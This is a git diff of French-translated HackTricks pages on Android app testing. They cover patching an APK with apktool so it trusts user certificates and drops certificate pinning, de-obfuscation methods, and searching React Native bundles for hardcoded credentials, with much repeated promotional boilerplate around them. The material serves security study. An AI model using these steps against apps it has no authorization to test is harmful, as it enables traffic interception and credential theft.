* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,31 +1,33 @@
|
|||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
D'autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
**Jetez un œil à : [https://blog.oversecured.com/Android-Access-to-app-protected-components/](https://blog.oversecured.com/Android-Access-to-app-protected-components/)**
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
D'autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Groupe de sécurité Try Hard**
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -20,19 +21,19 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
***
|
||||
|
||||
Certaines applications n'acceptent pas les certificats téléchargés par l'utilisateur, donc pour inspecter le trafic web de certaines applications, nous devons en fait décompiler l'application, ajouter quelques éléments et la recompiler.
|
||||
Certaines applications n'aiment pas les certificats téléchargés par l'utilisateur, donc pour inspecter le trafic web de certaines applications, nous devons en fait décompiler l'application, ajouter quelques éléments et la recompiler.
|
||||
|
||||
# Automatique
|
||||
|
||||
L'outil [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) va **automatiquement** apporter les modifications nécessaires à l'application pour commencer à capturer les requêtes et désactivera également l'épinglage de certificat (le cas échéant).
|
||||
L'outil [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) fera **automatiquement** les modifications nécessaires à l'application pour commencer à capturer les requêtes et désactivera également le pinning de certificat (s'il y en a).
|
||||
|
||||
# Manuel
|
||||
|
||||
Tout d'abord, nous décomplilons l'application : `apktool d *nom-du-fichier*.apk`
|
||||
Tout d'abord, nous décompilons l'application : `apktool d *file-name*.apk`
|
||||
|
||||
![](../../.gitbook/assets/img9.png)
|
||||
|
||||
Ensuite, nous allons dans le fichier **Manifest.xml** et descendons jusqu'à la balise `<\application android>` où nous allons ajouter la ligne suivante si elle n'est pas déjà présente :
|
||||
Ensuite, nous allons dans le fichier **Manifest.xml** et faisons défiler jusqu'à la balise `<\application android>` et nous allons ajouter la ligne suivante si elle n'est pas déjà présente :
|
||||
|
||||
`android:networkSecurityConfig="@xml/network_security_config`
|
||||
|
||||
|
@ -40,7 +41,7 @@ Avant d'ajouter :
|
|||
|
||||
![](../../.gitbook/assets/img10.png)
|
||||
|
||||
Après ajout :
|
||||
Après avoir ajouté :
|
||||
|
||||
![](../../.gitbook/assets/img11.png)
|
||||
|
||||
|
@ -57,11 +58,11 @@ Maintenant, allez dans le dossier **res/xml** et créez/modifiez un fichier nomm
|
|||
</base-config>
|
||||
</network-security-config>
|
||||
```
|
||||
Enregistrez ensuite le fichier et sortez de tous les répertoires, puis reconstruisez l'APK avec la commande suivante : `apktool b *nom-du-dossier/* -o *fichier-de-sortie.apk*`
|
||||
Puis enregistrez le fichier et sortez de tous les répertoires, puis reconstruisez l'apk avec la commande suivante : `apktool b *folder-name/* -o *output-file.apk*`
|
||||
|
||||
![](../../.gitbook/assets/img12.png)
|
||||
|
||||
Enfin, il vous suffit de **signer la nouvelle application**. [Consultez cette section de la page Smali - Décompilation/\[Modification\]/Compilation pour apprendre comment la signer](smali-changes.md#sing-the-new-apk).
|
||||
Enfin, vous devez simplement **signer la nouvelle application**. [Lisez cette section de la page Smali - Decompiling/\[Modifying\]/Compiling pour apprendre comment la signer](smali-changes.md#sing-the-new-apk).
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -71,14 +72,14 @@ Enfin, il vous suffit de **signer la nouvelle application**. [Consultez cette se
|
|||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
D'autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Obtenez le [**merch officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection d'**NFTs** exclusifs [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,51 +1,50 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Techniques de **Dé-obfuscation Manuelle**
|
||||
|
||||
Dans le domaine de la **sécurité logicielle**, le processus de rendre un code obscurci compréhensible, appelé **dé-obfuscation**, est crucial. Ce guide explore diverses stratégies de dé-obfuscation, en mettant l'accent sur les techniques d'analyse statique et la reconnaissance des schémas d'obfuscation. De plus, il propose un exercice d'application pratique et suggère des ressources supplémentaires pour ceux qui souhaitent explorer des sujets plus avancés.
|
||||
Dans le domaine de la **sécurité des logiciels**, le processus de rendre le code obscur compréhensible, connu sous le nom de **dé-obfuscation**, est crucial. Ce guide explore diverses stratégies de dé-obfuscation, en se concentrant sur les techniques d'analyse statique et la reconnaissance des motifs d'obfuscation. De plus, il propose un exercice pour une application pratique et suggère d'autres ressources pour ceux qui souhaitent explorer des sujets plus avancés.
|
||||
|
||||
### **Stratégies de Dé-obfuscation Statique**
|
||||
|
||||
Lorsqu'il s'agit de **code obfusqué**, plusieurs stratégies peuvent être utilisées en fonction de la nature de l'obfuscation :
|
||||
Lorsqu'il s'agit de **code obfusqué**, plusieurs stratégies peuvent être employées en fonction de la nature de l'obfuscation :
|
||||
|
||||
- **Octets de code DEX (Java)** : Une approche efficace consiste à identifier les méthodes de dé-obfuscation de l'application, puis à reproduire ces méthodes dans un fichier Java. Ce fichier est exécuté pour inverser l'obfuscation sur les éléments ciblés.
|
||||
- **Java et Code Natif** : Une autre méthode consiste à traduire l'algorithme de dé-obfuscation dans un langage de script comme Python. Cette stratégie souligne que l'objectif principal n'est pas de comprendre pleinement l'algorithme mais de l'exécuter efficacement.
|
||||
- **Bytecode DEX (Java)** : Une approche efficace consiste à identifier les méthodes de dé-obfuscation de l'application, puis à reproduire ces méthodes dans un fichier Java. Ce fichier est exécuté pour inverser l'obfuscation sur les éléments ciblés.
|
||||
- **Code Java et Natif** : Une autre méthode consiste à traduire l'algorithme de dé-obfuscation dans un langage de script comme Python. Cette stratégie souligne que l'objectif principal n'est pas de comprendre complètement l'algorithme, mais de l'exécuter efficacement.
|
||||
|
||||
### **Identification de l'Obfuscation**
|
||||
|
||||
Reconnaître un code obfusqué est la première étape du processus de dé-obfuscation. Les indicateurs clés incluent :
|
||||
Reconnaître le code obfusqué est la première étape du processus de dé-obfuscation. Les indicateurs clés incluent :
|
||||
|
||||
- **Absence ou brouillage de chaînes** en Java et Android, ce qui peut suggérer une obfuscation de chaînes.
|
||||
- **Présence de fichiers binaires** dans le répertoire des ressources ou des appels à `DexClassLoader`, laissant entendre un déballage de code et un chargement dynamique.
|
||||
- L'utilisation de **bibliothèques natives aux côtés de fonctions JNI non identifiables**, indiquant une éventuelle obfuscation des méthodes natives.
|
||||
- L'**absence ou le brouillage de chaînes** en Java et Android, ce qui peut suggérer une obfuscation de chaînes.
|
||||
- La **présence de fichiers binaires** dans le répertoire des ressources ou des appels à `DexClassLoader`, indiquant un déballage de code et un chargement dynamique.
|
||||
- L'utilisation de **bibliothèques natives accompagnées de fonctions JNI non identifiables**, indiquant une obfuscation potentielle des méthodes natives.
|
||||
|
||||
## **Analyse Dynamique en Dé-obfuscation**
|
||||
## **Analyse Dynamique dans la Dé-obfuscation**
|
||||
|
||||
En exécutant le code dans un environnement contrôlé, l'analyse dynamique **permet d'observer le comportement du code obfusqué en temps réel**. Cette méthode est particulièrement efficace pour découvrir le fonctionnement interne de schémas d'obfuscation complexes conçus pour cacher la véritable intention du code.
|
||||
En exécutant le code dans un environnement contrôlé, l'analyse dynamique **permet d'observer comment le code obfusqué se comporte en temps réel**. Cette méthode est particulièrement efficace pour découvrir le fonctionnement interne de motifs d'obfuscation complexes conçus pour cacher la véritable intention du code.
|
||||
|
||||
### **Applications de l'Analyse Dynamique**
|
||||
|
||||
- **Décryptage en Temps d'Exécution** : De nombreuses techniques d'obfuscation consistent à crypter des chaînes ou des segments de code qui ne sont déchiffrés qu'au moment de l'exécution. Grâce à l'analyse dynamique, ces éléments cryptés peuvent être capturés au moment du déchiffrement, révélant leur forme réelle.
|
||||
- **Identification des Techniques d'Obfuscation** : En surveillant le comportement de l'application, l'analyse dynamique peut aider à identifier les techniques d'obfuscation spécifiques utilisées, telles que la virtualisation de code, les packers ou la génération de code dynamique.
|
||||
- **Découverte de Fonctionnalités Cachées** : Un code obfusqué peut contenir des fonctionnalités cachées qui ne sont pas apparentes par l'analyse statique seule. L'analyse dynamique permet d'observer tous les chemins de code, y compris ceux exécutés de manière conditionnelle, pour découvrir de telles fonctionnalités cachées.
|
||||
- **Décryptage à l'Exécution** : De nombreuses techniques d'obfuscation impliquent le chiffrement de chaînes ou de segments de code qui ne sont déchiffrés qu'à l'exécution. Grâce à l'analyse dynamique, ces éléments chiffrés peuvent être capturés au moment du déchiffrement, révélant leur véritable forme.
|
||||
- **Identification des Techniques d'Obfuscation** : En surveillant le comportement de l'application, l'analyse dynamique peut aider à identifier des techniques d'obfuscation spécifiques utilisées, telles que la virtualisation de code, les packers ou la génération dynamique de code.
|
||||
- **Découverte de Fonctionnalités Cachées** : Le code obfusqué peut contenir des fonctionnalités cachées qui ne sont pas apparentes par une analyse statique seule. L'analyse dynamique permet d'observer tous les chemins de code, y compris ceux exécutés conditionnellement, pour découvrir de telles fonctionnalités cachées.
|
||||
|
||||
## Références et Lecture Complémentaire
|
||||
## Références et Lectures Complémentaires
|
||||
* [https://maddiestone.github.io/AndroidAppRE/obfuscation.html](https://maddiestone.github.io/AndroidAppRE/obfuscation.html)
|
||||
* BlackHat USA 2018 : “Unpacking the Packed Unpacker: Reverse Engineering an Android Anti-Analysis Library” \[[vidéo](https://www.youtube.com/watch?v=s0Tqi7fuOSU)]
|
||||
* BlackHat USA 2018 : “Déballer le Déballage : Ingénierie Inverse d'une Bibliothèque Anti-Analyse Android” \[[vidéo](https://www.youtube.com/watch?v=s0Tqi7fuOSU)]
|
||||
* Cette présentation traite de l'ingénierie inverse d'une des bibliothèques natives anti-analyse les plus complexes que j'ai vues utilisées par une application Android. Elle couvre principalement les techniques d'obfuscation dans le code natif.
|
||||
* REcon 2019 : “The Path to the Payload: Android Edition” \[[vidéo](https://recon.cx/media-archive/2019/Session.005.Maddie_Stone.The_path_to_the_payload_Android_Edition-J3ZnNl2GYjEfa.mp4)]
|
||||
* Cette présentation aborde une série de techniques d'obfuscation, uniquement dans le code Java, qu'un botnet Android utilisait pour masquer son comportement.
|
||||
|
||||
</details>
|
||||
* REcon 2019 : “Le Chemin vers le Payload : Édition Android” \[[vidéo](https://recon.cx/media-archive/2019/Session.005.Maddie_Stone.The_path_to_the_payload_Android_Edition-J3ZnNl2GYjEfa.mp4)]
|
||||
* Cette présentation discute d'une série de techniques d'obfuscation, uniquement dans le code Java, qu'un botnet Android utilisait pour cacher son comportement.
|
||||
|
|
|
@ -1,16 +1,17 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
# Analyse de l'application React Native
|
||||
|
||||
|
@ -18,11 +19,11 @@ Pour confirmer si l'application a été construite sur le framework React Native
|
|||
|
||||
1. Renommez le fichier APK avec une extension zip et extrayez-le dans un nouveau dossier en utilisant la commande `cp com.example.apk example-apk.zip` et `unzip -qq example-apk.zip -d ReactNative`.
|
||||
|
||||
2. Accédez au dossier ReactNative nouvellement créé et localisez le dossier des ressources. À l'intérieur de ce dossier, vous devriez trouver le fichier `index.android.bundle`, qui contient le JavaScript React sous une forme minifiée.
|
||||
2. Naviguez vers le dossier ReactNative nouvellement créé et localisez le dossier assets. À l'intérieur de ce dossier, vous devriez trouver le fichier `index.android.bundle`, qui contient le JavaScript React dans un format minifié.
|
||||
|
||||
3. Utilisez la commande `find . -print | grep -i ".bundle$"` pour rechercher le fichier JavaScript.
|
||||
|
||||
Pour analyser plus en détail le code JavaScript, créez un fichier nommé `index.html` dans le même répertoire avec le code suivant :
|
||||
Pour analyser davantage le code JavaScript, créez un fichier nommé `index.html` dans le même répertoire avec le code suivant :
|
||||
```html
|
||||
<script src="./index.android.bundle"></script>
|
||||
```
|
||||
|
@ -30,33 +31,34 @@ Vous pouvez télécharger le fichier sur [https://spaceraccoon.github.io/webpack
|
|||
|
||||
1. Ouvrez le fichier `index.html` dans Google Chrome.
|
||||
|
||||
2. Ouvrez la barre d'outils des développeurs en appuyant sur **Command+Option+J pour OS X** ou **Control+Shift+J pour Windows**.
|
||||
2. Ouvrez la barre d'outils de développement en appuyant sur **Command+Option+J pour OS X** ou **Control+Shift+J pour Windows**.
|
||||
|
||||
3. Cliquez sur "Sources" dans la barre d'outils des développeurs. Vous devriez voir un fichier JavaScript divisé en dossiers et fichiers, constituant le bundle principal.
|
||||
3. Cliquez sur "Sources" dans la barre d'outils de développement. Vous devriez voir un fichier JavaScript qui est divisé en dossiers et fichiers, constituant le bundle principal.
|
||||
|
||||
Si vous trouvez un fichier appelé `index.android.bundle.map`, vous pourrez analyser le code source dans un format non minifié. Les fichiers de carte contiennent des mappings de source, ce qui vous permet de mapper les identifiants minifiés.
|
||||
Si vous trouvez un fichier appelé `index.android.bundle.map`, vous pourrez analyser le code source dans un format non minifié. Les fichiers de carte contiennent un mappage source, ce qui vous permet de mapper des identifiants minifiés.
|
||||
|
||||
Pour rechercher des informations sensibles et des points de terminaison, suivez ces étapes :
|
||||
Pour rechercher des informations d'identification sensibles et des points de terminaison, suivez ces étapes :
|
||||
|
||||
1. Identifiez des mots-clés sensibles pour analyser le code JavaScript. Les applications React Native utilisent souvent des services tiers comme Firebase, les points de terminaison du service AWS S3, des clés privées, etc.
|
||||
1. Identifiez des mots-clés sensibles pour analyser le code JavaScript. Les applications React Native utilisent souvent des services tiers comme Firebase, les points de terminaison de service AWS S3, des clés privées, etc.
|
||||
|
||||
2. Dans ce cas spécifique, il a été observé que l'application utilisait le service Dialogflow. Recherchez un motif lié à sa configuration.
|
||||
2. Dans ce cas spécifique, l'application a été observée en train d'utiliser le service Dialogflow. Recherchez un modèle lié à sa configuration.
|
||||
|
||||
3. Il a été chanceux de trouver des informations sensibles codées en dur dans le code JavaScript lors du processus de reconnaissance.
|
||||
3. Il a été chanceux que des informations d'identification sensibles codées en dur aient été trouvées dans le code JavaScript lors du processus de reconnaissance.
|
||||
|
||||
## Références
|
||||
* [https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7](https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
